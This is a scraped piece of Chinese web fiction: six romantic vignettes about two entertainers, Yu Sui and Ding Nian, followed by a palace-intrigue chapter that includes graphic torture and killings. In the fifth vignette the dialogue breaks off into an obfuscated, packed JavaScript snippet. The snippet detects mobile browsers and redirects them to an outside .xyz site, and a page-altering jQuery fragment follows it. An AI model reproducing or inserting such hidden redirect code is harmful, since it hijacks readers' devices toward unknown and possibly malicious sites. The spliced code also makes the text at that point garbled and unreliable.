「巨蟹上升星座射手座, 展现出乐观、开朗的一面,具有冒险精神和探索欲望,喜欢追求自由和新奇的事物,思维开阔,能为巨蟹座带来更多的活力和积极向上的态度,使其在情感上更加豁达。」 六年前的虞岁?人生有几个六年呢? 虞岁看着自己饱经风霜的眉眼,感受着心底的沧海桑田,想来还真有点对不起意气风发的从前。 六年前啊,那时候她被黑的正惨,丁年也不遑多让。 在娱乐圈这个充满光怪陆离与梦幻泡影的名利场中,名为丁年与虞岁的命运,如同两条看似平行却悄然靠近的轨道,在一个不经意的瞬间开始交错产生交集。 丁年,一个在底层奋力厮杀向上的孤勇者。 彼时他刚刚在一档选秀节目中崭露头角,没有背景、没有人脉,怀揣着对表演的热爱一头扎进这个圈子,却在无数次的碰壁与冷遇中逐渐消磨着自己的棱角。外界的质疑和铺天盖地的骂声,仿佛在告诉他,他这样的人想要在这个圈子里出人头地,简直是天方夜谭。 虞岁,一个于繁华中坚守初心的追光者。 那时她才拍了几部有点声响的剧,为了梦想力排众议去参加选秀,旁人的轻视嘲讽和接连不断的诋毁,好似在对她说,她这样的人想要在这个行业里大放异彩,简直是白日做梦。 一手烂牌,几乎天崩开局,源源不断的所谓黑历史,却是虞岁和丁年苦不堪言的来时路。 杀千刀的作者还象征性的好心给虞岁六次小剧场的机会回溯过去,问她选择哪几个时间节点作为切入点。 虞岁想了想,爱是什么? 是过去我没能参与,未来我想紧紧相依; 是时时复盘,常看常新,不能共情从前的自己,总觉得还应该做的更好; 是信任和不辜负。 【第一档】 月光招商会。 两个用心的演员和一部不被看好的剧,造就了一场虞岁和丁年拼尽全力却有心无力的境地。 “虞老师,我刚刚表现的怎么样?” 虞岁看着丁年,这时候他还有些青涩的少年感,跟刚刚在台上侃侃而谈的样子有些反差感,他给她的评价是‘真敢说’,不假装,敬业,无需解释。 在万人眼中解读出亿万个不堪的虞岁的时候,丁年站了出来,用他独有的一番理解诚恳的诠释了虞岁并不是世人眼中的无脑作精可爱鬼菟丝花,只有他,看到了她的底色。 “很棒,丁年,你很棒。” 虞岁记得最初赤脚走过的遍地荆棘,记得最初滔天的骂声和中伤,记得这世间所有的恶意和诽谤,记得那些泼到她身上的嘈杂和污名,所以看到丁年,好像照镜子。 “虞老师今天好会说啊,继续夸夸我啊,我吃这一套。” “丁年,如果我是六年后的你,我想要告诉你,你很棒,我对你全肯定。所以不要焦虑,别人的建议选择性听,无理的就不要理,一点都不要内耗。好好的爱自己,捂起耳朵往前冲,不需要谁一定要夸你好,也别怕谁说你不好。你就是很厉害,你要非常相信你自己。” “虞老师,你怎么了?” “没事,只是突然想要抱抱你。” 抱抱你,抱抱从前的自己,辛苦了,亲爱的自己。 【第二档】 庆功宴(1218) “丁年,不是说了酒精过敏就不要喝酒么?” “酒不醉人人自醉。” “录团综的时候不应该说快有食品代言找你,应该再加上酒,你脸颊红红的样子也很可爱”,虞岁笑着打趣,丁年湿漉漉的眼和微红的脸,很动人。 “虞岁,全部结束之后……我们……还有以后么?” “丁年,即使我们分开赶路,也不妨碍终点和目标一致。怎么会没有以后呢?你是我成团后的第一个男主角,是我一起扫楼的第一个男主角,是我团综的第一个男主角,是我用心照顾过的第一个男主角,是我每个重要节点都在我身旁的第一个男主角,是我庆功宴上一起见过爷爷的男主角……是我的男主角。” 丁年笑了笑,叹了口气,“你说,我是你的受众,我想,受众的受是我甘之如饴的承受,受众的众是我于众人之中独独望向你的众,有偏爱,也有例外。” “我说你是我的受众,受众的受是我只让你看到不为人知的一面、只想让你接受的受;受众的众是众所周知的一些事情我却会脱离众人的固定认知只给你的独家回馈。” 就像直播时落在你我头顶的那根红线,那根缠绕着我和你,最后被我们留下的那根红线,是宿命的缘。 那是命运的羁绊,是我与自己割舍不断的牵连。 【第三档】 跨年晚会后台。 丁年看着跟搭档做剧宣营业的虞岁,心底有些醋意翻涌。 “丁年,你不开心么?” “虞岁,换作你是我,你会开心么?” 丁年想,他看向虞岁的时候,她有读懂他眸光中的深意么? “不,我不会开心,我见不得你跟别人好。” 是谁说文字的力量是匮乏的?是谁说语言的魅力是苍白的? 瞧,虞岁总有办法一句话把丁年钓成翘嘴。 “我也是,我不仅见不得你跟别人好,我还希望你的喜悦和悲伤第一时间跟我分享。不,更准确一点来说,你开心了可以告诉别人,但是不开心了一定要告诉我。” “好,我的男主角。” 那晚,丁年是虞岁唯一的双人合照男主角。 “丁年,我在哄你啊。” 跨年钟声响起之前,丁年的愿望是,年年有虞,生生不息。 虞,是虞岁的虞,不息的是他的生生,也代表着他殷殷期盼的她的生生。 【第四档】 星辰大赏。 虞岁仍然记得六年前那场无人捧场的招商会,丁年在漫天流言蜚语中,坚定的给她的评价,真敢说,他也是真敢说,在那种境遇下。 所以今晚,她在台上用她和他都懂的态度,向众人表明,这份荣誉,她和他共享,这是她给他的荣誉,她对他的托举,她给他的不留余地。 “你愿意为我么?” “为你,我愿意为你。” “丁年,我要你永远记得,以后的每个获奖时刻,都会想起我在台下为你唱的歌;以后的每一次跨年,都会想起那年晚会我与你同台并肩的独家快乐;以后站在每一场漫天飞舞的彩带中,都会想起你为我接过的、为我捡过的那片星河。” “虞岁,很多人都觉得,名利场里,真心最要不得,最不值钱,最不顶用,我不能苟同。 我在这场名为奔赴你的旅行里,跌跌撞撞,花光勇气,用尽力气,小心翼翼又孤注一掷,今晚,我感受到了你的勇敢和信任,所以,我也不会逊色。我要你知道,我同样坚决。 剧里你说你会在每个结局里等我,剧外我想说,有你等的结局,我排除万难也会去。 爱情不是一道数学题,这一次,会从新鲜感,到安全感,再到归属感。” “丁年,他们说你是胆小鬼,但我知道,我认识的你不是。 我的你,不是。 我今晚见到最美的风景,在你眼中。” 就像是我想要一颗糖,但是我不想你仅仅是因为我想要才给我,而是你想到送我一颗糖我会开心你才送我。 今晚,漫天的彩带没有落到你头上,只有我手上的那片,翩翩落到你发间,吻上你的发,成为你的头彩。 我为自己俯身寻找飘落的彩带,又为自己伸手接住那一抹色彩。 双向的奔赴,让我手中的彩带,如同命中注定般,轻轻落在自己的发间,成为最独特的装饰。 人生有几个六年呢?这是虞岁和丁年的,第一个六年。 六年前,我们在各自领域的泥沼中艰难挣扎,旁人的冷眼、前路的迷茫,像一道道枷锁。 可我们偏不服输,咬着牙,在无数个失眠的夜晚为梦想拼搏。 这六年,是用汗水和泪水铺就的荆棘路,每一步都满是艰辛。 人生有几个六年呢?在这漫长又短暂的时光里,熬过无数个无人问津的日夜,扛住外界的所有质疑与刁难。我们的作品从无人问津到逐渐被人关注,曾经遥不可及的梦想,也有了触手可及的轮廓。 如今,我们站在聚光灯下,站在舞台中央,站在漫天飞舞的彩带下,光芒初绽。 回首来路,那些熬过的夜、流过的泪,都化作了此刻眼中的欣慰闪烁和坚定璀璨。 而这第一个六年,不过是序章,下一个六年,我们还会携手在这人海之上,星河之下,绽放更耀眼的光 。 “虞岁,谢谢你。” “丁年,谢谢你自己。” 丁年,虞岁,是孤勇者也是追光者,是一腔孤勇的追光者。 最后,都会去到有光的地方。 【第五档】 1314鱼刺事件(1210) “虞岁,不要去听外面的流言蜚语,我永远不会对你做任何不好的事。” “丁年,我明白,别多想。” “你相信我么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033544|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你会不相信自己么?” “现在不会了。” 因为,高敏感的人遇到了属于自己的太阳。 “丁年,我和你,永远不会走远。我们的步伐和终点一致。大步向前走吧,记得,我和你有同一片星河,但我们不能一直困在同一方永夜之下。” 如果你走过繁花似锦,走出泼墨山水,走到峰顶之巅,你还记得我同你看过的星河,那我们,就是对的。对的,是结果,也是结局。 “虞岁,我有时候,会没有安全感。” “丁年,我和你说过的每一句话都是认真的,你可以反复向我确认。我和你,不会说再见,会一起到有光的地方。” “虞岁,我不想跟别人在一起。” “我知道。” “虞岁,我不想你跟别人在一起。” “我明白。” “虞岁,我不会跟别人在一起。” “我懂的。” “虞岁,我不会让你跟别人在一起。” “丁年,我不会跟别人在一起。” “我记住了。” “丁年,你说要用一生哄我,要说话算话呀。” “我会的。” 【第六档】 过年清库存。 今天,虞岁发了和别人的合照。 丁年不语,只是一味的清库存。 他也想过公开说点什么,但是那根发带跟剧里仿佛一个作用,封印着他内心深处那份炽热的爱意,像在封印他心中的魔,避免妖化。 “丁年,你要相信你自己。” “虞岁,你会一直在么?” “丁年,我说过了,我会在每一个结局等你。” 我曾想过昭告天下,说出那些藏在心底的话。但是就像故事里被封印的魔,我心中的爱意也被紧紧锁住,生怕一旦释放,就会让一切变得不可收拾。 若不能与自己完全相融,实现内心的圆满,那我所做的一切,也不过是在寻找完整的自我,你也不必埋怨。 我和你越来越像了,这很正常。 敏感如我,其实一直渴望有一束光,能照亮我内心的每个角落。后来我才明白,那束光,就是我自己。 我就是你,你就是我。 那些所谓的心动、纠结、偏爱,不过是我在漫长时光里,与自己灵魂深处的深情相拥。 是我在低谷时给自己的鼓励,是我在辉煌时给自己的陪伴,是我在这复杂世界里,对自己最纯粹的爱 。 因为我爱自己,所以爱你,你是我,我也是你。 直到某一天,在那片熟悉的星光下,我看着眼前的你,恍惚间,记忆如潮水般涌来。 那些一起走过的日子,每一个心动的瞬间,全部都变得分外清晰。 我终于明白,你就是我,我就是你。你若我枕旁的星,微光与执念难厘清。 虞岁和丁年,不过是我在不同时刻对自己的期许与热爱。那些以为是对他人的深情,其实都是我对自己灵魂深处的拥抱,是在漫长岁月里,给自己的温暖。 我和自己越来越相似,这再正常不过。因为我爱自己,全心全意地爱着。 你是我,我也是你,我们本就是最完美的恋人 ,在时光长河中,相互陪伴,永不分离。 我盼你被世界温柔以待,我盼你落泪皆因幸福满膛; 我盼你脚步从不迷茫,我盼你回首尽是星光长; 我盼你被善意紧紧护航,我盼你前路皆美好景象; 我盼你舞台耀眼发光,我盼你未来繁花铺远方; 我盼你初心炽热滚烫,我盼你故事被岁月珍藏; 我盼你时刻被爱滋养,我盼你每个决定不怅惘。 如月之恒,如日之升。 一如那年,灯火辉煌,我望着自己的身影,心中泛起涟漪。那落在心上的一抹朱砂红,原来是我对自己最真挚的爱。 虞岁很庆幸,在纷扰的人世间,与另一个自己——丁年,不期而遇。 丁年也痴迷,痴迷这灵魂深处的共鸣。 我叫虞岁,我爱上了一个人。 他叫丁年。 年年有虞的年,岁岁同舟的岁。 这不是人设,不是外物施加给我的。 这是我的内心深处。 是从「我要爱上」到「我爱上了」的意识觉醒。 我们本就是一体的两面,是灵魂深处的映照。 丁年,我,爱我,爱你。 丁年,我爱,我爱你。 丁年,我爱我,爱你。 丁年,我爱,爱我的你。 虞岁,我爱,爱你的我。 丁年,我爱虞岁,爱我。 丁年,我爱我,爱虞岁。 12. 丁年,等我来破局 颂虞十二年冬,霜风冽冽,彤云如墨般翻涌,层层叠叠压向大地。 不多时,便扯絮般簌簌落下鹅毛大雪,须臾间,天地皆白,一片银装素裹。 虞岁裹着一件旧氅,蹲在雪地里侍弄着一簇花草。 “哟,我当是谁呢?原来是咱们的念舟公主啊,大家可都有疑问呢,你这个舟是‘留人不住,醉解兰舟去’的舟呢?还是‘野渡无人舟自横’的舟呢?一道娇俏的女声由远及近的传来。 虞岁手下的动作微停,几不可察的蹙了下眉。 念舟念舟,像咒语一样惹人生厌。 无论哪个舟,都是虞岁最讨厌的舟。 侍女阿妄躬身接过虞岁手里的花具,递了个手炉给她。 虞岁接过,搭着侍女阿元的手慢条斯理的站起来,回身,也不正眼看来人…… “听闻陈相近日被御史台那帮老头连番弹劾,怎么?你不乖乖在家躲着,打算出来惹事触你爹的霉头?” “你!还跟我摆公主架子呢?看看你都过的什么日子?老款大氅,旧手炉,素头面……一点实新花样都没有!吃穿用度哪里当得起公主的身份?跟你那个早死的母妃一样不争气!连我的贴身侍女都不如!”,她说着,还回身打量自己的侍女,二人眼里都有讥讽,也不同虞岁行礼。 虞岁笑了,端的是绣面芙蓉一笑开,斜飞宝鸭衬香腮,就听她淡淡出声,却透着语不惊人死不休的气势: “陈思蒙,瞧瞧你上不得台面的样子,这就嫉妒了?好办啊,让你那个惯会做小伏低的娘,爬一爬我父皇的龙床,毕竟,路数她都熟悉,连先丞相夫人、凌国公独女那样的人物都能被逼得守着青灯古佛过活,以她的勾栏手段,这点子心愿定能满足你。” “虞岁!我这就去告诉念稷哥哥和皇后姑母!你和你那个野种弟弟等下不要哭着求我!也不知道是谁,日前跪的腿都瘸了也没人理你!”,她说着像是回想起什么,笑的放肆,她身后的侍女也跟着捂嘴笑。 虞岁站在漫天飞雪的檐下,有风鼓动她的衣袍,猎猎作响,她的声音被霜雪侵染,字字句句都淬尽寒冰:“阿元,刚刚那株单叶铁线莲颜色不正,将她的侍女拖过去,三刀六洞,慢慢放干血,好叫阖宫都知道,丞相嫡女好大的威风,一言不合就虐死了贴身侍婢。” “唯!”,阿元应声,几步走过去,不给任何挣脱的机会,扯着那婢女扔到单叶铁线莲前面,抽出随配匕首,动作干净利落,三刀下去,没有一丝余地的洞穿,鲜血汩汩流出,甚至连反应和挣扎的机会都没有,那婢女只惊恐的睁着眼睛倒下……红的血,白的雪,汇集成惊心动魄的、诡异刺目的美。 短暂的呆滞过后,陈思蒙惊声尖叫,“虞岁!你什么意思?!” “本公主今天就大发慈悲的教教你宫里的规矩,第一,阿元是按照皇家长公主亲侍的资质培养起来的,区区丞相之女还不配置喙;第二,本宫再不济,也是有封号的公主,再不堪,也占了个长公主的便宜,本宫的话,就是真相,记住,你的婢女,是因你而死,本宫手上可干干净净;第三嘛……”, 虞岁慢慢走近她,“你这个婢女跟你那个不成器的哥哥不清不楚的,说起来,你那个老奸巨猾的爹和你姑母,还得谢谢本宫替你们陈家清理门户,斩断孽缘……哦对了,不要想着告状哦,最近我亲爱的父皇眼睛可是总盯在你身上,你的亲亲姑母怕是最不想见到你去她面前晃!” 陈思蒙怔怔的看着虞岁,张了张嘴,说不出话来,心下一片骇然,虞岁明明年纪与自己一般无二,心思之深,手段之狠,可见一斑!而且,她怎么知道这么多密辛?不是不得宠么?不是任人欺凌么?怎会……如此……可怕? 不过有一点显而易见,虞岁的心思手段与她的容色一般,业以不可挡之势初绽风华。 虞岁嗤笑一声,“阿妄,她以下犯上,不敬本宫,掌嘴,打到她出声为止。” “唯!”,阿妄拎着花具直直拍到陈思蒙脸上,这一巴掌打的很有水平,看不出来太肿,但是,内里会烂,很疼,甚至不及时治疗脸就废了。 世家大族培养出来的女儿,脸蛋就是最好的工具,脸废了,人也就废了。 这个道理,即便是蠢笨如陈思蒙也懂。 好汉不吃眼前亏的道理,她更懂,当即便跪下:“公主……息怒。” “哦?你倒是说说,本宫为何会因为一株花动怒?” “臣女不该虐待婢女,污了公主的地方。” “阿妄,教教她。” “不止,陈小姐还扰了我们公主的清静,搅了公主的兴致。” “臣女……谢公主教诲。” 虞岁玩味的欣赏着她恨的牙痒痒气的瑟瑟抖又强装镇定的样子,突然觉得好没意思,这点胆子也配跟自己叫嚣? “滚吧,本宫好人做到底,会遣人将你和你的贴身侍女送回丞相府,阿妄,叫人过来洗地。” 待几人离开,虞岁有些出神的看着雪地的一抹没有清理干净的血迹,“阿元,知道我为什么喜欢这单叶铁线莲么?” “是因为它极其耐寒?” “此花又名雪里开,冬季开花,极其耐寒,铃铛般的花朵,白中泛紫,不觉得很像我么?众人都以为我是什么纯良可欺之辈,其实啊,内里早已黑的发紫。” “公主言重了。” 虞岁幽幽感叹,语气里透着势在必得的野心和筹谋:“我等了太久了,不能再藏锋了,瞧瞧我那个父皇,虽然荒淫无道,却心有沟壑,有雷霆手段,也懂驭人之谋,想让他看到我,就不能一味的守拙,这人啊,要有价值,一成不变的避让是没用的,想要站的高,不争,不抢,不攀爬,怎么行呢?” “公主说的是。雪大了,回吧。” “是啊,起风了。” 傍晚的巷道有些暗,阿元提着灯走在前面,细心的嘱咐虞岁,“公主当心脚下。” “我一直很喜欢这条路,就像人心的阴暗面,看不见的地方,总能滋生罪欲。” “公主考虑事情的角度一贯别致。” “前面怎么回事?”,虞岁停步,指着不远处喧嚷的人群,隐约可见几个身影在昏暗中扭打纠缠,不时传来沉闷的撞击声与低声的咒骂 阿元向前几步靠的近些,不多时回到虞岁身旁,“公主,是几个寺人围着凉月国质子欺辱”,阿元神色警惕,转身欲引着虞岁避开这混乱场面。 “凉月国?阿野幼时是不是受过他们凉月国莲后的恩惠?” “是,那年殿下急病,无人理会,是凤驾临邦的莲后遣了随行国医救治的。” “这个质子与那莲后什么关系?” “正是莲后所出,去年莲后与世长辞,今年新上位的郭后吹了枕头风,借着战事为由,推了莲后的独子来咱们颂虞为质。” 虞岁心中一动,“去看看。” “长公主在此!”,阿元庄重厉喝。 这是丁年第二次见虞岁,用时过境迁来形容恰如其分,去年他随母后来此建交,那时她跪在殿前,身形纤弱又倔强,夜风乍起,四周的烛火明明暗暗,跳动在她清冷平静的脸庞上,年纪不大,已经学会了隐藏情绪,那模样便深深烙印在他心底。 在重逢的巷尾,心跳先我一步认出了你。 “公主,是二皇子和六皇子的寺人”,阿元凑近虞岁轻声低语。 虞岁的视线越过众人落在墙角的丁年身上,他很狼狈是真,让人无法忽视也是真,恂恂公子,美色无比,诞姿既丰,世胄有纪。 啧,这人怎么,越惨越显得有些……惹人怜爱呢。 这日子啊,也是有趣起来了,虞岁眯了眯眼,心下暗暗盘算自己手里的筹码和底牌。 半晌,她淡漠的声音响起,“闹什么?” 那寺人跪在一旁,语气并不恭敬,“回公主的话,这质子偷了二皇子爱犬的馒头。” 虞岁就笑了,“你是说,堂堂凉月国太子,比不过一条狗?” 丁年在一旁听到凉月国太子这个称谓的时候,有些恍如隔世的感觉,这个称呼好像是上辈子的事了。 这世上除了母后留给自己的旧部,也只虞岁还记得了。 “公主此言差矣,二皇子的狗自不是俗物可比。何况,他已经不是太子,凉月国的太子是郭后所出,如今的丁年,只是个质子,一字之差,天壤之别。” 被这样顶撞,虞岁的表情没有丝毫波动,她摸了摸怀里的手炉,炭火还燃着,外壁却已经凉透了,真凉啊…… 她把手炉递给阿元,“你说,是他的嘴硬,还是这炭火硬?” 阿元会意,放下灯盏,掀开手炉,不等那说话的寺人反应,三两步走到他面前,卸掉他的下巴,迫使他张嘴,将待熄未熄的炭一股脑倒进去之后又快速合上他的下巴,那炭带着灼人的高温,一入喉便发出“滋滋”声响 。 寺人瞪大了双眼,拼命挣扎,喉咙里发出含混不清的惨叫,双手在空中乱舞,指甲在脖子上划出一道道血痕。 阿元恍若未觉,不给这寺人留丝毫自救的机会,箍住他的手,掐着他的脖子促使他吞咽。 滚烫的炭火划破喉咙,鲜血顺着寺人的嘴角汩汩流下,滴落在冰冷的地面上,洇出一片暗沉的红。 虞岁神色平静地看着这一幕,眼神里没有一丝怜悯,仿佛眼前发生的不过是最平常的小事。 “公主,人要不行了”,阿元放开手,抬眸看向虞岁,请示下一步动作。 虞岁轻抬眼皮,瞥了一眼奄奄一息的寺人,声音依旧平淡:“扔到乱葬岗,省得污了这地方。” 其他的寺人如蒙特赦,慌慌张张的凑过去拖着快咽气的寺人,动作急切得如同身后有恶鬼追赶,瞬间便做鸟兽散。 丁年看着虞岁,雾蒙蒙的光,絮簌簌的雪,还有眼前这个初见便在他心上烙下印记的她。 曾经那个在丁年眼中羸(lei)弱、藏不住野心又藏得住情绪的少女,如今举手投足间已满是上位者的杀伐果断。 她甚至不屑去让那寺人死的明白,或者说,这本是上位者的手段,她是什么身份?他又是什么身份?怎么配?从那寺人出言顶撞的时候,他在虞岁眼中就是一个死人了。 跟一个死人,争什么?辩驳什么?需要他瞑目什么? 雪花落在她的肩头、发梢,很快便消融,好似从未落下过,就像她此刻的心境,波澜不惊。 “怎么,被吓着了?”虞岁的目光从雪幕中穿过,直直看向丁年,嘴角微微上扬,带着一丝不易察觉的愉悦。 阿元都来不及确认她嘴角的弧度,就见她已经神色如初,仿佛刚才的一幕是错觉。 “我们两个,好像每次见面,都有一方是狼狈的”,丁年说着,掩唇清咳。 “我不记得我们见过面。” 丁年不再纠结这个话题,转而问:“刚刚那个寺人,是你们颂虞最得宠的二皇子的人,你看起来挺有城府,就这样轻飘飘的收拾了,不觉得很莽撞么?” 虞岁眨了眨眼,“不觉得。你看起来挺有脑子,看不出我要打草惊蛇么?” “公主好手段。” “好手段救了你。” 丁年轻笑,“公主善举,引舟不胜感激。” “引舟?” “是我的表字。” “可有出处?” “醉别江楼橘柚香,江风引雨入舟凉。” 虞岁一步一步地走近他,她的目光紧紧锁住丁年,每一步都像是裹挟着引人入胜的力量。 像是在丈量着两人之间微妙的距离,又像是在探究着这个男人的深浅,更像是在权衡着这份突如其来的相遇究竟会在她能掌控的生活里掀起怎样的涟漪。 “倒是个好出处,很有几分意境与洒脱 ”,虞岁轻声说着,声音里透着几分诱惑。 待走到丁年面前,她微微俯身,与他对视,被她恍若洞悉人心的眸子盯着,莫名的让丁年心头一紧。 “公主在看什么?” “在看你的价值。” “哦?公主可看出什么。” “保护好你这张脸。” 丁年有些哭笑不得,他扶着墙站起来,掸了掸旧袍服上的雪,神情寂然的说:“公主,我现在,没有任何价值。” 虞岁觉得额角突突直跳,就见不得他这副样子,“丁引舟,你要不要跟我走?” 此后隔着八百星河三千烟火丁年始终无法忘记这一晚,虞岁携风带雪而来,问他要不要同她一起走。 可是我的公主啊,我的路冷风刺骨,怎么舍得你同我一起受苦? 丁年苦笑,“公主,你看这雪,白了你我的头。” 虞岁就懂了,他不肯。是了,现在的形势,她尚且自顾不暇,怎么能不清不楚的带着他?可恨刚刚竟然情绪上头起了说不清道不明的心思,看来,还是道行不够。 虞岁又恼了,走又不跟我走,还要提什么白头,白头若是雪可替,世上何来苦心人? “雪中白头?我不会,我有伞。阿元……” 阿元适时打开伞撑在虞岁头顶,将她和丁年隔成两方天地。 丁年捡起地上虞岁的旧手炉,颇有些小心翼翼的开口:“这个手炉,可以送给我么?” “这个旧了,不暖了,改日遣人送你个新的。” “不,这个很暖。我就想要这个。可以么?” 虞岁点点头,想了想,从随身的荷包里拿出块肉递给他,“馒头有什么好吃的,给你肉干。” 丁年看着她拿着肉干的手,一双十指玉纤纤,不是风流物不拈。 也不知是对她的纤纤玉手,还是对她手中的颇有食欲的肉干,咽了咽口水,慢慢伸手接过,他的指尖掠过她的手指,心头微颤。 余生即使隔着九重霄汉四海波涛也不会悲戚了,因为我将始终记得手指轻触这个瞬间。 丁年看着虞岁的背影渐行渐远,片片飞雪落在她周围,像渡了一层星芒。 她像雪里的星,也像他梦里的星,微光与炽热分不清。 这晚的最后,丁年坐在破旧的偏殿里,捧着虞岁的手炉,目光幽邃悠远…… 像在打量四下的布局,又像透过这屋头片瓦看到从前的雕梁画栋,看到曾经的花团锦簇,看到旧时的众星捧月…… 看到母后临终前的饮恨不甘,看到父皇对郭后之子的溺爱,看到郭后的狠厉毒辣,看到……虞岁因他而惩处寺人的血迹斑斑…… 丁年的手指轻轻摩挲着手炉的边缘,手指上有她的温度,手炉上也似乎还残留着她的温度。 他想起她望着漫天飞雪的模样,她的眼眸比雪凉薄,比雪皑寂,比雪净透。 直到天光微亮,他才对着不知名的方向低声开口:“毒七,去给舅舅传信,就说,我想通了。” 角落里的毒七有些难以置信的问道:“殿下怎的突然想通了?” “大概是因为,我现在没有价值吧。” 毒七虽然觉得主子似是而非的回答有些让人摸不着头脑,但是她听不懂没关系,听话就行了。 “殿下可还有旁的话要传?” “告诉舅舅,我现在是无根之木,难常青,让他想好了再做决定。孤帆易覆,莲花瓣瓣化锋刃,方能消我此间恨。” 待殿中只剩下丁年一个人,他望着天边日出的轮廓,喃喃自语,虞岁,我知你不过是一时的恻隐之心,但是这个冬天,没有那么冷了。 “公主,这是卫世子传进来的”,阿元递上手里的情报。 虞岁拆开信笺,看完,借着烛火点燃,直到火舌将要烧到手指,方才放手。 “回信,让他别闲着,去从军,静候佳音。” “从军?卫家几代单传,老太君怕是不肯放世子去”,阿妄没忍住感叹,这公主轻描淡写的,怕是卫家要掀起轩然大波了。 虞岁拿着棋谱研究残局,随口说着:“咱们现在可用的人太少,光靠前朝那几个旧人有什么用,每个人都有自己的小算盘,不好掌控,倒不如重新趟一条路,况且,军中无人怎么行呢?” “公主说的是,只是不知卫世子肯不肯。” “卫韫那个性子,让他做文官,怕是撑破天也就是个空壳太尉,前朝盘根错节,很难再插进去新势力了,挣军功是他最快出头的路子,也是我唯一的机会。他会愿意的,不光是为了我,也是为了他身后夹缝中生存的卫家”,虞岁放下手中一枚黑棋,原本势众的白棋局面瞬间变了…… 瞧,不到最后,谁知道能不能厮杀破局呢? “公主,写好了”,阿元恭敬的捧着信跪到虞岁面前。 虞岁点头,又落下一子,偏头看她还跪在原地没动,有些疑惑,“怎么了?” 阿元试探的问:“公主,可有信物要转交给世子?” 不等虞岁反应,阿妄用一种‘你是疯了么’的眼神看了阿元一眼。 虞岁放下手中的棋谱,“卫韫让你要的?他还说什么了?” “世子说,想要一份心安。” “心安?”,虞岁拾起一枚黑棋重重的扔回棋盒,“去告诉他,卿本局中人,莫要入戏深!” 虞岁最讨厌拎不清的人,当初母族旧部找到她,从中斡旋结识了卫韫,说好了结盟,各取所需的关系,怎么还掺进杂质了呢? “公主,恕阿元多嘴,奴婢知道您连亲笔回信都不会做,更遑论互通信物这样的事,请赦奴婢试探之过,只是公主,您为了丁年,处置了二皇子的寺人,还有您的手炉就那样给了他,您想过后果么?” 最震惊的不是虞岁,是阿妄,她甚至觉得阿元肯定是吃错药了,要么就是被夺舍了,这么多年,从来都是虞岁说什么她就做什么,无论让她做什么,无论让她的刀锋对准谁,这还是第一次,她跪的笔挺,疑问的话也是掷地有声。 虞岁挑了下眉,宽大的袍袖猝不及防的拂翻了整个棋盒,黑白棋子瞬间如受惊的雀鸟,噼里啪啦地滚落一地,在寂静的室内发出清脆而杂乱的声响。 有半数棋子兜头罩脸的洒到阿元的身上,滚落到她脚边。 虞岁的目光并未看向散落的棋子,而是直直地落在阿元身上,那眼神仿若寒夜中审视猎物的孤狼,冷冽又带着探究。 “阿元,你今日的胆子,倒是让我刮目相看”,虞岁的声音不疾不徐,语调里听不出喜怒,却莫名让人脊背发凉。 她缓缓踱步,每一步都踏得沉稳有力,鞋底与地面摩挲的细微声响,此刻听在阿妄和阿元耳中,却似战鼓擂动。 阿元跪在原地,额间渗出细密的汗珠,“公主,您知道的,但为您使,虽死无悔。” 虞岁闻言,嗤笑,笑声在空旷的室内回荡,更添几分森冷之意,她俯身,手指捏住阿元的下巴,迫使她抬起头来,“知道我气的是什么么?我不气你有质疑,我气的是你竟然学会了试探?你跟在本宫身边多年,莫不是忘了自己的身份?” “奴婢永远是公主一个人的奴婢。” 不知哪个字取悦了虞岁,她放开手,淡漠的说了句下不为例,短暂的沉默之后,虞岁幽幽的叹了口气,“罢了,你与阿妄跟了我这么多年,问一句也是常理,地上凉,起来吧。” 阿元跪在原地端端正正恭恭敬敬的磕了个头,“谢公主体恤”,方才站起来。 “丁年和卫韫,在我这里,是不一样的。” 阿妄斟酌着出声,“公主,您对那个质子?” “志在必得。” 阿元忧心忡忡的提醒,“公主,他对您,没有卫世子有用。” 虞岁坐在案前,目光不经意地扫向地上散落的棋子,阿元和阿妄瞬间会意,动作迅速地整理棋盘,手指如飞般捡起那些黑白棋子。 “卫韫是自己人,丁年是我的人,这么说,你们懂么?”,虞岁懒懒的靠在椅背上,拨弄着算筹。 “或者说,他们两个,我都要。卫韫能为我所用,而丁年,像一件战利品,足以匹配我身份的战利品”,她顿了顿,嘴角微微上扬,勾勒出一抹难以捉摸的笑容,“往后,你们便会知晓,丁年在我这盘棋里,是至关重要的一子,或许,还能为我打开别样的局面。” “公主下一步想怎么做,还请吩咐示下”,阿妄和阿元收拾好一切,躬身站定。 虞岁抚了抚眉角,“旁的倒也罢了,只是我那好二弟遣了人来问我要一个女侍伺候笔墨,你们说,送谁去好呢?” “公主,阿元可以,奴婢会尽量把二皇子那边的局势搅成您想要的样子。” “公主,还是让阿妄去吧,阿元的武力值高于我,能更好的保护您,况且,您最初培养奴婢的就是媚术,没有人比奴婢更合适。” 虞岁捻起一枚棋子把玩,漫不经心的说:“阿妄,你不乖哦,还有一句话没说吧?” 阿妄连忙跪下,“公主恕罪,日前,二皇子曾私下问过奴婢愿不愿意。” “阿妄,不要跟我耍小心思,从小到大,你一说谎或者隐瞒,都会习惯性的先看一下鼻尖。” “奴婢是怕公主多想,还望公主不要怀疑奴婢对您的忠心。” “阿妄,忠心不是用嘴说的,我要看你如何展示你的忠心。翠裙娥,纤手弄谋,可会畏焉?” “奴婢无惧无畏,为了公主,万死无悔。” 虞岁起身,缓步走到二人面前,轻描淡写又言之有物,“缘分本就缥缈虚幻,多是朝露晞阳,南柯一梦,梦醒人散,转瞬即逝。我不信缘分,我更喜欢强求。但我信我自己的眼光,单看我会不会看错你们两个。” 颂虞十四年秋,边境战事胶着,同年冬,凉月国兵败。 丁年的境遇,一落千丈,从质子变成阶下囚。 昏黄的火把摇曳不定,将潮湿墙壁上的水渍映出扭曲的光影。 丁年被沉重的铁链束缚在冰冷的石壁上,褴褛的衣衫上血迹斑斑,发丝凌乱,面容虽然憔悴,一双眼却如点漆,眸光似寒星闪烁,此时他神色平静的看着面前不远处的女子。 